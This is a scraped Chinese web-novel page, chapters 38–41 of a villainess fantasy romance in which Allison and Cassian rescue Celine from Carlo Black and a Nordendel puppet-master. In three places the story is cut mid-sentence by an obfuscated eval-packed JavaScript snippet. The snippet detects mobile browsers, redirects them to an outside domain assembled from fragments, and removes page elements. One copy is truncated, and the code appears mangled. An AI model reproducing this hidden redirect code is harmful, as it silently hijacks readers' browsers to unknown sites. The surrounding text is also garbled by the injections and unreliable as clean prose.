“是、是卡洛!卡洛.布莱克把她带走了！” 艾莉森在心里骂了句脏话。 38. 偏移值；5％ 事件37：卡洛. 卡洛为什么要带走赛琳？ 艾莉森的脚步越来越快，最后,她索性跑了起来。 有人在跟她打招呼，但她已经顾不上了。 为什么她忽略了呢？ 她前世看过的那本漫画，情节虽然不多，这却是至关重要的一个转折点—— “女主角绑架事件。” 赛琳会被身份不明之人绑架，而男主角们则去履行英雄救美的职责。 在游戏原作《阿尔特蒂亚传奇》中，作为“官配”的埃德蒙王子，因此事认清了幕后主使艾莉森的真面目； 而在《军神独爱恶役千金》里，赛琳嫉妒艾莉森与卡西恩情投意合，自导自演了绑架案件，卡西恩不顾劝阻也要去救她，因此和艾莉森产生了误会。 这两桩看起来并不相关的事件里，“不明身份”之人始终隐身幕后，表面上的主使者最后会成为替罪羊。 更关键的—— 除去恋爱关系的影响，为什么在原本的故事里，卡西恩和埃德蒙，会把赛琳看得那么重要？ 她的确拥有超凡的魔力，但为此和自己重要的盟友闹翻，以艾莉森对那两人的了解，着实不太可能。 联想到刚开学时，几乎很少出现在校园的埃德蒙对赛琳的关注。 只能说明，赛琳身上还有更大的秘密。 如果是这样，现在真正有危险的，根本不是卡西恩！ “同学，这里是男子宿舍，你不能进去！” “我是艾莉森.兰卡罗德，你胆敢拦我！” 事态紧急，她必须马上见到卡西恩，只能拿出兰卡罗德家的名号。 舍管犹豫的刹那空隙，艾莉森已大步迈了进去。 刚到门口，便见一人也急匆匆走出来。 正是卡西恩。 他的手上，似乎还握着封信件。 两人撞见对方，眼神交汇，皆是一愣。 卡西恩率先开口，语气冷淡： “看来我不用多跑一趟了，兰卡罗德小姐。”他抬起手，把信件递出去“这是你写给我的情书，还给你。” “安吉洛，和我去训练场。”他挥了挥手，向身后之人招呼到，脚步匆匆，再也不看艾莉森一眼。 艾莉森看着他离去的背景，伸出的手留在空中，片刻后，她低下头，将信件收入包中，像是被卡西恩冷硬的态度彻底伤了心，不理会围观学生们的窃窃私语，不发一言，转身离开。 等到了没人的地方，艾莉森连忙打开信： “明日凌晨，码头仓库区，做个了断——K.B。” 卡洛.布莱克。 在他的落款下面，则是卡西恩熟悉的笔迹，用红墨水写着： “老地方。” 片刻之后，艾莉森在西侧钟楼与卡西恩会合，不用太多交谈，两人的神情都不太好看。 “他带走了赛琳？”卡西恩的语气里带上了几分难得的焦躁。 “不对劲，如果是要用人质交换，为何卡洛在信上绝口不提？” “是诺森德尔。”艾莉森咬牙道,“是他们想要赛琳。” “海蒂说过，赛琳体质特殊，是魔晶石的理想载体。” 再联想此前黑巷的见闻以及卡洛和诺森德尔合作的推测—— 即便没有梦中看到过的那些情节，也不难推测出来，赛琳极有可能就是卡洛换取洛森德尔信任的筹码。 “看来兄长大人不惜与斩断他手臂的人合作，也要杀了我。”卡西恩冷笑一声，“他以为我不知道安吉洛那个蠢货一直在暗中替他传信吗？” “最迟今晚，卡洛定会与你联络，兰卡罗德小姐。” “什么意思？” “虽然不知道那些北方蛮子为什么要抓赛琳，但卡洛嘛……他应该是想借此威胁你。”他金绿色的眼里似有某种复杂的情绪：“在他看来，你恐怕是用来对付我的最佳人选。” “什么？”艾莉森不明所以。 卡西意识到自己失言，咳嗽了声，又恢复惯常的语气：“能换取诺森德尔人的协助，又能除掉我，他倒是想得美。” “我们需要分头行动，你去吸引卡洛的注意，我想办法打探赛琳的下落，尽可能在抢在卡洛意识到他的计划败露之前，抢占先机。” “不行，”艾莉森摇头，“卡洛现在一定在派人盯着你的动向。” 卡西恩金绿色的眼里满是鄙夷：“就凭他手下那些废物？” “安吉洛中了魔法，只怕现在还以为训练场上那个假人是我。至于其他人……” 他没有多说，但意思很清楚，比安吉洛还差的，还犯得着他用心灵魔法对付吗？ “他以为我收到信，只会像那些愚蠢的贵族一样，去练剑准备？我要真这么做，在卡洛手下早死了不下百次了！” 不管他嘴上怎么说着“蠢货”，“白痴”，卡洛都是皇家军事学院的毕业生，甚至是最优秀的毕业生之一，轻视敌人是非常危险的事，卡西恩比任何人都更清楚。 “现在的问题是……” 艾莉森知道他在烦恼什么。 诚然，布莱克家有自己的情报网络，但现下卡西恩并未完全掌权，能够动用的力量有限； 他和卡洛明争暗斗到了今天这步，他们的父亲不可能毫不知情，但布莱克公爵却选择了放任，这本就是一种表态。 赛琳被敌人控制的情况下，我方的行动会陷入极大的被动。 想到这里，艾莉森不自觉地笑了起来。 “我有办法找到赛琳。” 就理性上来说，她知道现在谈这个有些孩子气，然而卡西恩做不到的事，自己却能做到，着实让她在紧张的情绪中，产生了一丝带着罪恶感的愉悦。 “她和我都有海蒂制作的迷你炼金魔枪，利用魔导器能够定位到她所处的位置。” “如果现在去炼金研究院，以暗影的脚程……” “可以骑我的摩托，更快。你上次不是还说要我借你‘玩玩’吗？” 卡西恩的表情有些僵硬： “你真的很记仇，兰卡罗德小姐。” “布莱克公子，我这是相信您的能力。” “好吧，好吧。”卡西恩举起双手，做出一个投降的姿势,“如您所说，这的确是最好的方案了。” 艾莉森简单地写了张便条，从手上拔下戒指，里面是她私人的印章，轻轻盖上。 “把这张便条交给尤里老师，他会帮你调试。” 说罢，她敛起笑容，语气郑重： “卡西恩，你一定要救出赛琳。” “我知道。”卡西恩点点头，“你也要小心，卡洛不好对付。” 两人间的称呼已经变回了“你”,然而他们却像是都没有注意到似的。 起风了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826056|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾莉森看着钟楼下卡西恩离开的背影，很久以前的那个声音又冒了出来，问她： 你真的觉得自己能改变命运吗？ 艾莉森不自觉地握紧拳头。 不论结果，这都是她自己的选择，命运如何，不试试又怎么会知道？ 艾莉森离开钟楼，仔细检查了一遍，没有人跟踪。 卡西恩说，最迟今晚，卡洛便会找到她。 她看向时钟，离卡洛信上的约定时间，还有二十七个小时。 他是毕业生，虽然失势，明面上依旧是布莱克家的长子，与诺森德的合作更是秘密，如果他进入校园，并没有什么不妥，守卫也不会阻拦。 根据那几个贵族女生的说法，赛琳被带走的时候，原本并不愿意，直到卡洛在她耳边说了什么，她才肯跟着他离开。 想也知道，以赛琳的性格，卡洛只要拿在场那几个女生的性命威胁她，她便不会反抗。 她现在还好吗？是清醒还是昏迷？有没有被折磨，有没有受伤？ 当下只能信任卡西恩。 不知不觉，她来到了当初遇到他的林荫道。 她还记得当时自己撞见那黑发少年赤手空拳把卡洛派去找茬的高年级生打趴下的样子。 艾莉森走近那棵卡西恩当初靠着的梧桐树，手指划过粗糙的树皮。 “兰卡罗德小姐。” 一个低沉的声音在她身后响起，和卡西恩的很像，却又带着另一种额外做作的尾音。 她转过身，尽管所有人都说他们很像，艾莉森还是略略吃了一惊。 除了发型和瞳色，卡洛活脱脱就是一个年长些的卡西恩。 艾莉森的目光不着痕迹地落在他的左臂。 从外表看来，和常人并无二致。只是，此时的天气已经称得上温暖，他却戴着深色的羊皮手套。 “卡洛.布莱克？” 卡洛笑了起来，这时，他和卡西恩那明显的气质差异才显现出来。 “说起来，这还是我们第一次面对面，实战演习时，迫于立场，疏于问候，是我失礼了。” 他用词考究，语气温和，不知内情的人看来，的确是出身名门的贵公子。 “别说废话了，赛琳呢？” 卡洛皱了皱眉，像是对她的无礼有些不满：“兰卡罗德小姐不必担心，她很安全。” “只是想介绍她认识下我的朋友而已。” “朋友？”艾莉森冷笑,“什么时候，阿尔特蒂亚和诺森德尔成了朋友？” 对于她的直白，卡洛似乎并不介意。 “兰卡罗德家的女儿和布莱克家的私生子能成为朋友，也让我很意外。” “他不是我朋友。”艾莉森摇了摇头，眼里闪过一丝失落。 卡洛并没有放过这瞬间的表情，和安吉洛信上说的一样，眼前的小姑娘和那个贱种纠缠不清。 “真是遗憾，我那个愚蠢的弟弟竟然让您这样的淑女露出这样的表情。”他上前一步，状似关心地说：“您为他做了那么多。” “住口！”艾莉森好像再也听不下去，“快将赛琳还给我！别提那个冷酷无情的人！” “是啊，明明在实战演练中还是同伴，如今却对您的困境袖手旁观。兰卡罗德小姐，您在为友人担心，他呢？” 艾莉森不说话。 “您不想报复他吗？” 39. 偏移值：5% 王都的夜晚，偶有几个寥落的行人。远处传来奇异的声响，他们不禁回头张望—— 一团黑影像从地狱冲出的恶魔般，以令人难以置信的速度从身边飞一般地过去了。 简直就像是恐怖传说里的噩梦骑士一样。 卡西恩觉得炼金研究院搞出来的这个东西简直疯了。 理解“摩托”的基本构造并不难，尤里简单的讲解后，他戴上那顶丑得惊天动地的头盔，朝研究院的方向疾驰而去。 他感觉自己像是骑上了一头疯牛，不论是启动还是急停，要不是靠着他超强的肌肉协调性，绝对会被甩出去。 王都石板路上的每个坑洼都通过震动传到脊椎，连呼吸都变得紧张，被速度掀起的气浪，让他他几乎睁不开眼。 卡西恩感觉自己的血液仿佛燃烧起来，带着燥热的快感，那是一种野蛮的兴奋，仿佛心中隐藏的兽性挣脱了理智的锁链。 他跟随着本能，俯下身子，把自己完全交给了这头金属野兽。 卡西恩喜欢这种感觉。 不过，现在还有更要紧的事。 在距离目的地还有一条街的时候，他放缓了速度，在一个隐蔽的角落，将摩托车停在阴影之中。 他背靠着墙，往研究院那扇极具风格的大门望去。 研究院平日的守备并不森严，但自从诺森德尔杀害平民的传闻在王都闹得沸沸扬扬，这里的守卫增加了不少—— 如果从正门进入，难免遭到盘问，若只是普通王都警备队的士兵倒也罢了，要是军部或者皇室情报部的人，尤其是后者，麻烦便大了。 卡西恩迅速权衡一番，心中已有打算。 炼金研究院的东侧门开在一条较为狭窄的小巷，车辆难以通行，能够配置的守卫只有一到二人，只要能够用心灵魔法控制住他们，便能神不知鬼不觉地顺利潜入。 前提是，守门的人不是凯恩.兰卡罗德。 这位军校的前辈年纪轻轻就能在人才济济的军部站稳脚跟，升迁速度快得令人咂舌，靠得可不仅仅是显赫的家世。 “兰卡罗德中尉，可有异状？” 一个鹰钩鼻中年男子从巷子的另外一侧走了过来。和凯恩一样，他也穿着便服，但腰间悬挂的佩剑却泄露了他的身份。 剑鞘之上，刻着交叉的钥匙，匕首和鸢尾花，正是皇室密探的标志。 “威尔逊大人，一切如常。另外，叫我凯恩就好。” 卡西恩听见这个名字，心中一惊。 埃德加.威尔逊，大名鼎鼎的“剔骨人”。他是皇室情报部的骨干，也是最出名的密探。说是“密”探，但威尔逊早年行事横行无忌，作风高调，对内对外都是心狠手辣，最大的功绩，便是亲手处死了上一任叛逃的炼金研究院院长。 从那以后，他似乎便无心名利，亦或是得罪了太多人，只在情报局挂了个名混日子而已。 如今，他居然和凯恩搭档，跑到炼金研究院来看门？ 卡西恩暗自“啧”了声，无论是凯恩，还是威尔逊，都不是好对付的人物，他能想到这里是守备的薄弱点，王都的三大护卫司自然也能想到。 “呵呵，像你这样谦逊的年轻人，现在可不多见，怪不得陛下对你赞赏有加。” “哪里哪里，能与您合作是我的荣幸。” 眼看时间一分一秒过去，那两人嘴上互相吹捧不停，卡西恩不禁焦躁起来。 片刻后，威尔逊开口道：“凯恩，失陪片刻。这里先交给你。” 通常而言，他恐怕是要去解决一下生理需求，贵族们对此很有默契，于是凯恩点头道：“您放心。” 威尔逊的身影消失在巷子的拐角，凯恩扫了眼卡西恩躲藏的方向，像是再讲述一件再平常不过的事情一般，开口道： “你是要自己出来？还是让我过去找你？” 空气仿佛凝固了。 远处传来巡逻兵的脚步声，风拂过街道，掀起路面上不知被谁扔下的传单，隐约露出一些反对炼金科技的口号。 “又见面了，凯恩.兰卡罗德大人。” 卡西恩自阴影中走了出来，他没有摘下斗篷，但那双金绿色的眼睛实在是太过明显。 “卡西恩.布莱克？”凯恩似乎有些吃惊，旋即皱起眉，“你在这里做什么？最近皇家军事学院可没有节假……” 他话说了一半，像是突然意识到了什么，脸色冷了下去。 “别告诉我，和艾莉森有关。” “我们有急事需要找海蒂帮忙。”卡西恩不承认，也不否认，但一个“我们”，说明了很多问题。 凯恩以手扶额，摇了摇头。 这小姑娘，先是殿下，然后又招惹布莱克家的儿子？该说真不愧是自己的妹妹吗？ 卡西恩自然是不知道凯恩那丰富的内心活动，见他犹豫，便抛出自己早已准备好的说辞： “如果这件事能够帮助军部铲除诺森德尔在王都的暗桩呢？” 凯恩动作一滞：“你说什么？” 卡西恩笑了起来。 凯恩审视着他，像是在衡量他这句话里的分量，片刻之后，他看了眼威尔逊离开的方向，侧身让开了门，低声威胁道： “你最好不要骗我。” 卡西恩点点头，正要往里走—— “凯恩，这位是？” 威尔逊回来了。 * 晨曦将天空染成玫瑰色，皇家军事学院的大门口，守卫狐疑地看着眼前的二人。 卡洛手持信笺，上面是布莱克家的红宝石双头蛇印章，笑容温和： “我是卡洛.布莱克，不是什么可疑人物。”他将信笺递上，“家父邀请艾莉森小姐前往。” 他态度礼貌，又有“布莱克”的名号，守卫核查见印章的确无误，便放行让二人通过。至于为什么一大早布莱克公爵要邀请艾莉森前往，这便不是他们应当关心的了。 “抱歉，本来该为您准备马车，但事急从权，您应该不介意吧，兰卡罗德小姐。”卡洛将缰绳递到艾莉森手中，“码头区离这里有些距离。” “公爵知道吗？”艾莉森翻身上马，“你做的这些事。” 卡洛眼中似有厉色一闪而过，旋即又挂上他那无害的温和笑容：“父亲大人不必知道，布莱克家向来只看重结果。” “我不会杀卡西恩。”艾莉森冷声道，“我只想给他点颜色瞧瞧。” 卡洛无声地笑了，像是宽慰她似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到霜雪节的那场舞会，直到—— 卡洛去见了“猫头鹰”。 卡洛闻言看向她。 那张温和有礼的贵公子假面，毫无预兆地裂开了。 他一把掐住了艾莉森的脖子。 柔软的羊皮手套下，冰冷，毫无血肉温度的坚硬金属瞬间勒住了她的喉咙，力道之大，根本没有挣脱的可能。 卡洛像拧小鸡一样，直直地将她从马鞍上提了起来。 强烈的窒息感让艾莉森眼前发黑，她下意识挣扎，想要去掰开卡洛的手腕，却丝毫无法让那支金属手臂有些许松动。 “兰卡罗德小姐——”卡洛的声音依旧是温和而耐心，“淑女应该知道，什么事情是应该打听的，什么是不应该打听的。” 他松开手。 艾莉森重重跌回马背，身形不稳，几乎滚落下去，却被卡洛一把扶住肩膀。 “您看来并不擅长骑马？”他笑得十分绅士，将她扶在马鞍上坐好，仿佛方才的暴戾只是幻觉。 艾莉森剧烈地咳嗽着。 不远处，已经能看到码头区在晨雾中露出的影子了。 40. 偏移值：5% 距离卡洛和卡西恩约定的时候不足八小时。 码头的仓库区位于王都北部，曾是战争时期对诺森德尔物资中转的重要据点。随着互不侵犯条约的签署，大量仓库被闲置，人员撤出，这里反而成了暗中交易的理想之地。 艾莉森被双手反绑在椅子上，望着仓库高顶上裸/露的梁架，大概是弃置太久没人打理，空气里弥散着一股霉灰味。 卡洛将她带来后，也懒得再装，直言不讳地告诉她，她就是一个诱饵。 等卡西恩如约前来，看见艾莉森被抓，一定会焦急地想要上前解救，到那时，再让艾莉森反手给他一刀，趁他惊讶痛苦倒地时，卡洛再邪恶地大笑着出场，干掉这个私生子弟弟。 如果艾莉森愿意配合那是最好，若不愿意，就用赛琳的性命威胁她。 不得不说，这计划看似天衣无缝，实则漏洞百出。 艾莉森对于为什么卡洛斗不过卡西恩有了很清楚的认识。 “小姐，虽然这面包实在称不上美味，但诺森德尔的军粮，平时可是品尝不到的。” 卡洛丝毫没有察觉艾莉森内心对自己粗陋计谋的鄙夷，把一块又干又硬的面包递到她嘴边。 “还是说，您想要维持身材？这样的话，我便不勉强了。毕竟，保持美丽是淑女的必修课。” 话音未落，他已收回了手，深蓝色的眼睛里满是恶意的嘲弄。越是无能的人，越是喜欢在这些细枝末节上彰显自己的权力。 “那您的绅士品格便是把我绑在这？”艾莉森冷冷地看着他，“我以为您至少应该更礼貌一些。” 噗嗤。 “你们阿尔特蒂亚人平时都这么说话？” 艾莉森皱起眉头，循声望去。 运货木箱上，坐着个十二三岁的少年，他说话带着明显的北方口音，有着浅金色的头发和蓝绿色的眼睛，他梳了个背头，似乎想要显得成熟，但配上那张稚气未脱的脸，却更像个模仿大人的孩子。 卡洛扫了他一眼，从鼻子里哼出声：“马提亚斯，我没指望你理解阿尔特蒂亚的习俗。” “在诺森德尔，我们通常直接切断舌头，这样比较省时间。还有，你应该叫我‘法尔肯少尉’。” 被叫做“马提亚斯”的少年跳下木箱，走到艾莉森面前，把她从上到下端详了一番。 “卡洛，你确定那天破坏掉我傀儡的人是她？” “千真万确，‘法尔肯少尉’。” 卡洛语气嘲讽，但那少年却颇为满意地点了点头。 他俯视着艾莉森，不带感情地质询道：“我的傀儡身上覆盖着魔力约束符文，你是怎么打败他的？” 艾莉森没想到他会这么问，一时间不知道如何回答。 倒是卡洛开了口： “您别小瞧她，这位毕竟埃德蒙殿下的未婚妻，‘皇血律令’可不是说着玩的。” 马提亚斯这才点了点头，像是恍然大悟一般：“那便难怪。可惜她身上的武器只是魔力附着物，并非真的具备‘皇血’——不然送回我国，定会在战场上取得决定性的优势。” “卡洛，等你杀了你弟弟，记得把她活着送回去，我们和阿尔特蒂亚还不到开战的时候。” 少年的脸上没有丝毫表情，切断舌头也好，杀人也好，对他来说好像在讨论“今晚吃什么”一样稀松平常。 “他不是我弟……！” 啪！ 艾莉森甚至没能看清那少年如何出手，卡洛脸上已挨了一鞭。 “刚才我就想提醒你，如果你想要效忠我国，就不应该这样对上级说话。” “……是。” “我没兴趣参与你的家族斗争，傀儡们还需要调试，我先走了。”马提亚斯冷淡地说，“记得你的承诺，卡洛.布莱克。” 卡洛低头弯腰，维持着行礼的姿势，直到那高傲少年的身影消失在仓库的门外。他用那支残留的人类右手，紧紧握着羊皮手套下微微颤抖着的金属左手，维持着奇怪的姿势，好像它们分别属于不同的个体似的。 “可悲吧，兰卡罗德小姐，我竟然沦落到被这些野蛮的北方人任意侮辱。” 半晌，他似乎终于平复了情绪，站起身来。 “这都是拜卡西恩所赐。”他极力压抑着，好像那样才能保住他作为贵族最后的体面，但恨意却如同吐着信子的毒蛇，从词句间的缝隙里不受控制地钻了出来。 “其实，你跟他是什么关系，你对他是什么态度，根本不重要。” 卡洛冰冷的手指抚上艾莉森的脸庞。 “哪怕他只是多看你一眼，多和你说一句话，我都会让他明白——他这样的虫豸，什么都不配得到。” 卡洛皱了皱眉，眼前的少女有些过于冷静了。没有恐惧惊慌，也没有轻蔑或者厌恶，这种被无视的感觉让他更加愤怒—— 他是卡洛.布莱克，布莱克家正统的继承人，任何时候，都应该是被人追随，被人仰慕，被人畏惧的！不管是卡西恩，还是兰卡罗德家，甚至是诺森德尔，谁也不应该小看他！ 卡洛猛地抓住艾莉森的头发，往后狠狠一扯，颈后传来剧痛，艾莉森被迫向后仰起，脖子毫无遮掩地暴露在卡洛眼前。 “看着我，兰卡罗德小姐，”卡洛的语气极轻，铁手指冰冷的触感在她的脖颈间游走。 “我命令你看着我！” 他的声量陡然提高，手上的力道骤然加重，像是要把她的头皮活生生撕下来。卡洛几乎是咆哮着，试图从她的眼中哪怕是一点伪装的畏惧，来找回自己的存在感。 艾莉森的指甲几乎嵌进掌心肉里，她死死地咬着牙——她的自尊不允许自己向眼前之人发出哪怕一丝轻微的呻吟。 她在等待。 适才卡洛押着她进入仓库区时，她就看见了。 角落墙面上有一小片像是孩子恶作剧般的涂鸦。 很难说那画的是狮子，狗，还是猪，旁边配着一朵丑得难以用语言形容的“玫瑰”。 尽管笔触如此抽象，她还是能一眼认出，那是兰卡罗德的“蔷薇狮子”。 那是她与某位艺术“C”的大师事前约定的暗号： 如果找到赛琳，就画兰卡罗德的家徽；反之，就画布莱克的家徽。 起初她还在担心这样直白的符号太容易被识破，但某人却笑得意味深长，如今亲眼目睹，她这才明白了—— 那家伙的“画技”才是真正的伪装。 艾莉森在心底无声地笑了。 就在这时，从不远处的某个区域，突然传来了三长两短的哨音。 卡洛抓着艾莉森的手松开了些，望向那声音发出的方向。 轰——！！！ 一声巨响将空气都撕裂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826058|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开，墙面和地板在声浪之下微微颤抖，堆叠的货架嘎吱作响。 “什……？” 卡洛还未意识到发生了什么，突然，艾莉森的靴跟狠狠踩在他脚背上，他本能地往下看，但下一秒，艾莉森猛地将身体后仰，迎面狠狠撞向卡洛的鼻梁。 卡洛惨叫一声，眼冒金星，整个人踉跄后退，他下意识地捂着鼻子，但挡不住指缝间滴落的鲜血，顺着下巴落到衣襟和靴面，转眼便在地上形成一小滩深红。 “你、你竟敢……！” 艾莉森没空跟他废话，看准仓库区的铜质支撑柱，连带着椅子，用全身的重量往上一甩，木椅子的腿脚应声而断，手腕的束缚也松脱开来，她迅速扒开剩下的绳子，抓起一根断掉的椅腿，身形如离弦之箭，冲了出去。 卡洛过于自大，没有蒙上她的双眼，此前她一直暗中观察这里的地形，早就计划好了几条可能的脱身路径。 艾莉森敏捷地穿梭在堆叠的货物箱子之间，顺便踢倒几个木桶，扯掉遮挡的布帘往身后甩去，她和平民朋友们私下“交流”过的巷战技巧，此刻都成为阻挡卡洛追击的障碍。 此刻她最担心的，是那个叫做马提亚斯的少年军官去而折返。 她一路冲到仓库区外的狭窄通道，心跳如雷——所幸，身后已经听不到卡洛的脚步声。 夜幕降临，仓库区复杂的地形为艾莉森提供了天然的掩护，她贴着墙角，朝此前在钟楼和卡西恩商量好的汇合点前进。 ——那堵画着“家徽”的墙。 不知何处传来打斗的声音，艾莉森浑身的肌肉都绷紧了，是卡西恩吗？ 他还安全吗？赛琳呢？ 此刻贸然前去支援绝不是一个好主意，且不说身后仍有卡洛的威胁，敌方的兵力布署，关押赛琳的仓库地形她一概不知，更别说手上唯一的武器只是一根断裂的椅子腿。 终于看见了约定的地点。 空无一人。 艾莉森的心凉了半截。 她躲在阴影之中，屏住呼吸，仔细地聆听周遭的动静。 夜风从仓库之间的通道灌入，发出像是某种潜伏在暗处猛兽的低吼。掌心浸出了细汗，艾莉森把手上那根压根称不上是武器的半截木棍握得更紧了些。 卡西恩很强，你要信任他—— 他不会只做一个计划，就像他说的，他总会在暗处布下“弩”。 像是要说服自己一样，艾莉森在心中反复默念。 可万一—— “你想办法拖住卡洛，伺机脱身，我会带着赛琳和你会合，如果等不到我，就先行撤退，去找警备队或者你哥哥。” 她想起之前在钟楼制定作战计划的时候，卡西恩这么说。 艾莉森咬了咬牙，决定再等一等。 突然，鼻尖上传来湿润的触感。 下雨了。 一滴、两滴，雨点越来越密，很快打湿了地面，也打湿了她的发丝和衣裳。 卡西恩也不知道是用什么笔画的涂鸦，那朵丑得很独特的玫瑰，被雨打湿，反射出仿佛露珠般的光芒，竟莫名鲜活了几分。 铛——铛——铛—— 钟声从远处传来。 还有一小时便到凌晨。 卡西恩仍旧没有出现。 “艾莉森！” 熟悉的声音穿过雨幕。 41. 偏移值: 5％ 事件40：旧事 雨幕之中，来人的身影逐渐清晰起来。 是赛琳。 她双手撑膝，大口喘着气，凌乱的发丝黏在脸上，不知道是雨还是汗，学院制服灰蓝色的呢料上满是灰尘，露出下方血肉模糊的皮肤。 看见艾莉森的时候，赛琳愣住了一瞬，随即扑了上来，死死抱住了自己的友人，像是溺水的人终于见着了浮木。 “艾莉森，太好了……艾莉森！” 肩头被赛琳的眼泪打湿了，艾莉森回抱住少女微微颤抖的身体，轻轻地拍着她的后背。 她能够感觉到赛琳的害怕，但现在还远远没到可以放松下来的时候。 赛琳的身后，并没有那个黑发少年的身影。 但是，艾莉森不知道该如何开口—— 先是莫名其妙被绑架，好不容易逃了出来，现在，被她视作救星的人却得告诉她： 我要去救卡西恩。最后的一段路，你得自己闯出去寻找援兵。 时间在分分秒秒地过去，多一份犹豫，就是多让卡西恩陷入一分险境。 不管那个人之前做过什么，又或者他的目的后藏着多少不可告人的秘密，他都履行了承诺，救出了赛琳。 既然如此，她便不能放下卡西恩不管，自己逃跑。 艾莉森咬了咬牙，开口道：“赛琳……” 但栗色头发的少女却抢先一步开了口：“艾莉森，卡西恩队长他需要支援！” 她尚有未干的眼泪，胡乱抹了一把脸，急切地说： “那个诺森德尔人能够操纵傀儡，队长寡不敌众，局势不利……” 赛琳咬紧下唇，极力忍耐着：“我用魔力制造了爆炸，但是魔枪被敌人拿走了，我没办法提供精准的火力。他为了让我脱离，自己留下拖延敌人……” “艾莉森，你快去，就在这条通道的尽头，卡西恩他需要帮助！” 赛琳的眼中有着藏不住的悔恨，低声道：“如果因为我的缘故，让队长有所不测，我……” “我明白了。”艾莉森随即摘下手上的戒指，交给赛琳：“离开的时候小心，如果遇到军部的人，把这交给我哥哥凯恩，告诉他们不要贸然进攻。” “我们不清楚诺森德尔还藏着什么，如果逼急了，我怕他们会拉所有人陪葬。” 艾莉森拍拍赛琳的肩膀，她并不擅长安慰人，心中百般滋味，化做一句简单的话： “振作起来。” “明白。” 赛琳将戒指收入衣襟，点了点头，转身朝仓库区外跑去，娇小的身影很快消失在黑暗的雨幕之中。 艾莉森深吸一口气，转过身，往她方才逃脱的道路折返。 要支援卡西恩，手上这椅子腿显然不够。 彼时她佯装被俘，皇血匕首和炼金魔枪都被收缴了，恐怕仍旧留在她当时被绑住的那间仓库里。 卡洛找不到她，大概率会去和同伴会合，不会再看顾她的武器。 只是…… 如果她判断错了，卡洛没有走，而是留在原地—— 又或者卡西恩一人对付马提亚斯和卡洛，根本撑不到她赶去—— 艾莉森咬了咬牙，不能再犹豫了。 她必须赌一把。 雨越下越大，偶尔有闪电划破夜空，点亮仓库沉默的轮廓，雷声低鸣，宛若远方响起了战鼓。 剑光闪过，金属傀儡胸腔中的魔晶被劈成两半，小山般的身躯重重倒在地上，发出一声闷响。不等卡西恩喘息，另一波攻击又至，他猛地转身，以一个不可思议地角度避开那堪堪划过他背部的刀锋。 “靠剑就能战胜我的魔晶傀儡，你还是第一个。” 马提亚斯站在不远处的木箱上，眼中是藏不住赞赏。 “真是可惜，我和卡洛有言在先——你必须死。” 说罢，他抬起手，几道魔纹发出暗紫色的光芒，顺着他的指节蔓延。 几道沉闷的“咔嗒”声从仓库通道的深处传来。 “没完没了……” 又是好几具傀儡钻了出来，卡西恩暗骂一声，抹了把下巴的汗。 卡洛不足为惧，但眼前这个诺森德尔少年的实力却堪称恐怖。 艾莉森提到过，这种傀儡战士，是诺森德在普通人的体内植入了魔晶进行改造和操纵，想必她之前提及的黑巷袭击也是此人的手笔。 卡西恩一边格挡闪避着傀儡的攻击，一边在心里飞快地计算着。 对照艾莉森的描述，自己遭遇这些傀儡似乎要弱了许多，随着第一具被击败，那少年召唤出来的其他敌人，动作似乎越发迟缓。 最大的可能，是同时操作多个傀儡，不得不牺牲掉单体的性能。 尽管如此，他们对自己依旧有数量上的压制，心灵魔法对这些活尸无效，硬抗的话，他的体力会被一点点消耗掉。 必须想办法控制住操纵他们呃人。 但傀儡组成的防线将那少年护在中心，这个距离，他无法强行突破。 要怎么做才能，撕开这个包围圈？ 突然，一道寒光从侧后方斜斩而至，卡西恩本能回身，长剑一挡，巨大的力量几乎将他掀飞，他连退数步，好不容易才稳住了身形。 是卡洛。 他双手持着重剑，脸上挂着近乎疯狂的笑意。 从前的他，使用的是和卡西恩相同的单手剑，也绝不可能有这么大的冲击力，卡西恩扫了眼他本来空空荡荡的左袖管，心中明了—— 大概是换上了什么炼金技术的造物吧。 钟声敲响了。 “时间正好啊，我亲爱的弟弟。” 卡西恩不着痕迹地皱了皱眉，前有卡洛，后有马提亚斯和他的傀儡，局面对他很是不利。 他哼笑出声，似乎全不把眼前的敌人放在眼里： “贵族之间的决斗，是尊严之战。让敌国之人插手，你不觉得丢脸吗，卡洛？还是说，你左手那铁疙瘩让你把自己的骄傲也一并交给诺森德尔的野蛮人了？” 卡洛脸色微变，重剑直指卡西恩，冷笑道：“你也配跟我提骄傲？” “卡洛，不要被他挑衅。” 马提亚斯微微抬手，傀儡的包围圈渐渐缩小，将卡西恩围住。 突然，卡洛举起重剑，往地上一顿，大吼道： “马提亚斯，别插手！” 少年军官不可置信地看着他： “你疯了吗，卡洛？” “这是我和他之间的恩怨。”卡洛怒视着卡西恩，重新摆好架势。“我要输得明白，好看清我们之间的——” 卡洛还没说出“差距”这个词，卡西恩以抓住马提亚斯停顿的瞬间，猛地冲向前，金绿色眼睛化为竖瞳—— 这就是他等待的机会。 